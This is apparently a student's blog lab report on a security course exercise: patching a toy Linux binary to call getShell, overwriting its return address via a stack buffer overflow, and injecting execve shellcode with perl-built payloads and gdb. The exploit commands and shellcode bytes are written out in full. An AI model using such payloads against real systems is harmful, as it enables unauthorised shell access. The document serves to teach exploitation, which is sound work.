逆向破解

 

 
 

 

逆向破解

1.实践目标

对象:名为pwn20174323(原名pwn1)的linux可执行文件
流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串
目标:使程序执行另一个代码片段:getshell
内容:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2 基础知识

(1)熟悉Linux基本操作
"objdump"——object dump——项目转储
"-d"——disassemble——反汇编
"|"——管道符
"more"——分页显示

”%!xxd“——将文件改为16进制显示

“%!xxd -r”

 

 

———将文件改回ASCII码

apt-get install xxx ——下载xx

cat、cp、rm ......等等

(2)理解Bof的原理
-能看得懂汇编、机器指令、EIP、指令地址。

我们有3种思路来完成实验:

实践思路

  1. 手工修改可执行文件,改变程序执行流程
  2. 利用漏洞,这里可以利用foo函数的Bof漏洞
  3. 注入一个自己制作的shellcode并运行这段shellcode
  4. 知识要求: Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  5. 学习目标:理解可执行文件与机器指令
  6. 进阶:掌握ELF文件格式,掌握动态技术

任务一 直接修改程序指令 改变程序流程

下载pwn1,拖至虚拟机,输入命令objdump -d pwn1 | more对pwn1文件进行反汇编,并找到所需的getShall、foo、main函数位置

  • 进行指令 objdump -d pwn20174323| more ,浏览反汇编后的文件。
  • 输入/getShell,直接跳到getShell

 

现任务是将call的地址改为getshell的首地址804847d,所以应该将机器指令e8 7dffffff的地址部分换成0x80484ba-0x804847d=0xffffffc3即c3ffffff,通过 vi pwn1 命令对pwn1文件进行编辑,可以看到文件内容是16进制

输入%!xxd

将文件内容转换成可以读懂的ASCII码。

 

 

转换成ASCII码之后,通过输入/e8 7d可以查找main函数call指令的机器代码。

将光标定位在7上按r输入c,光标定位在d上按r输入3,

 

然后输入%!xxd -r将ASCII代码转换为16进制。输入:wq保存退出。

此时再反汇编( objdump -d pwn1 | more )查看main函数call的函数已经变为getshell。

 

运行pwn1,主函数会调用getshell函数。

 

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流。

任务思路:

1.call指令分解:

当main函数调用foo函数时,会产生一个call的机器指令,而call指令实际上分成两步执行:

push eip

jump XXX

即call指令执行过程中首先将eip压入栈中,然后再进行跳转。eip中保存的是call指令下一条指令的地址,当调用结束后,程序通过这个地址进行返回。即该地址为返回地址。

2.缓冲区溢出:

当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。

输入命令objdump -d pwn2 | more对pwn2文件进行反汇编,并找到所需的getShall、foo、main函数位置。

,输入 /foo 快速锁定foo函数内容,main函数为foo函数输入的预留空间为0x1c,即28字节,加上ebp寄存器的4字节,所以eip寄存器的值应为33-36字节的值。

 

.使用gdb pwn1命令调试程序,输入r运行,输入40个字符会发生缓冲区溢出,显示Segmentation Fault。其中的33-36个字符‘1234’会覆盖eip寄存器的值,用info r查看寄存器的值,eip为0x34333231,若将eip的值构造为0804847d就可以在foo函数执行完回到main函数时进入到getshell函数。

安装系统apt-get install gdb,进行调试功能。

输入gdb pwn1,进行到调试界面。

输入 r ,确认输入多少字符串后会覆盖到程序的返回地址,尝试几种不同长度的字符串。

 

 

输入info r,查看当前寄存器状态。发现eip被0x35353535覆盖了,查ASCII表可知35对应着十进制的5,推测是最后的几个5覆盖到了eip上。

重新输入字符串,可知覆盖eip的是1234。

 

 

无法从键盘输入16进制的值,所以用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造出16进制地址并将输入内容放进input文件里。地址应倒过来写,\0a是换行,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

通过 (cat input; cat ) | ./pwn1 pwn1并将input里边的内容输入到pwn1运行的程序中,就可以跳到getshell函数中,通过管道符|,将input文件作为pwn1的输入。

 

OVER!

任务三 注入shellcode并执行

1. 准备一段Shellcode

(1)shellcode就是一段机器指令(code)

-通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

-在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

(2)实验采用老师推荐的shellcode。如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2. 准备工作

1).先利用apt-get install execstack命令安装execstack软件包.( sudo apt-get install execstack )

2).然后执行如下命令(有些指令具有权限,最好在root模式下进行( su ).)

 

. 构造要注入的payload 

Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。(retaddr+nop+shellcode、nop+shellcode+retaddr)下面将选取anything+retaddr+nops+shellcode这种方式构造攻

输入perl-e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' >

 

 

input_shellcode

 

注入攻击buf(cat input_shellcode;cat) | ./pwn1

此时,重新打开终端,进行调试。

首先查看程序进程ps -ef | grep pwn1,发现进程号为36325

输入gdb进入调试界面,然后输入attach 36325调试这个进程。

 

接下来输入指令disassemble foo,对foo函数进行反汇编。

然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae

 

在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入: info r esp

查看esp寄存器的值为0xffffd21c

输入 x/16x 0xffffd1e0 以16进制形式查看0x0xffffd1e0地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd1e0+0x00000004=0xffffd1e4

 

重新构造攻击buf:

加入地址 此时我们重新形成input_shellcode,输入

perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >input_shellcode

 

实验收获及感想总结:

什么是漏洞?漏洞有什么危害?

漏洞是是一种缺陷,存在于协议 软件 硬件等中。漏洞的危害很大。影响范围广,当被不法分子利用,他们会通过植入木马等手段,来窃取文件和破化系统。

感想

又有了打开新世界大门的感觉。也是第一次感觉到能看懂汇编指令非常重要。这次的实验总体都很简单,老师上课也都一步一步讲过了,指导书也把步骤写的很详细(我没跳进坑里哈哈哈),这门课也才等于刚开始,好好加油吧!

 

 

 

posted @ 2020-03-22 21:04  20174324次旦加措  阅读(124)  评论(0编辑  收藏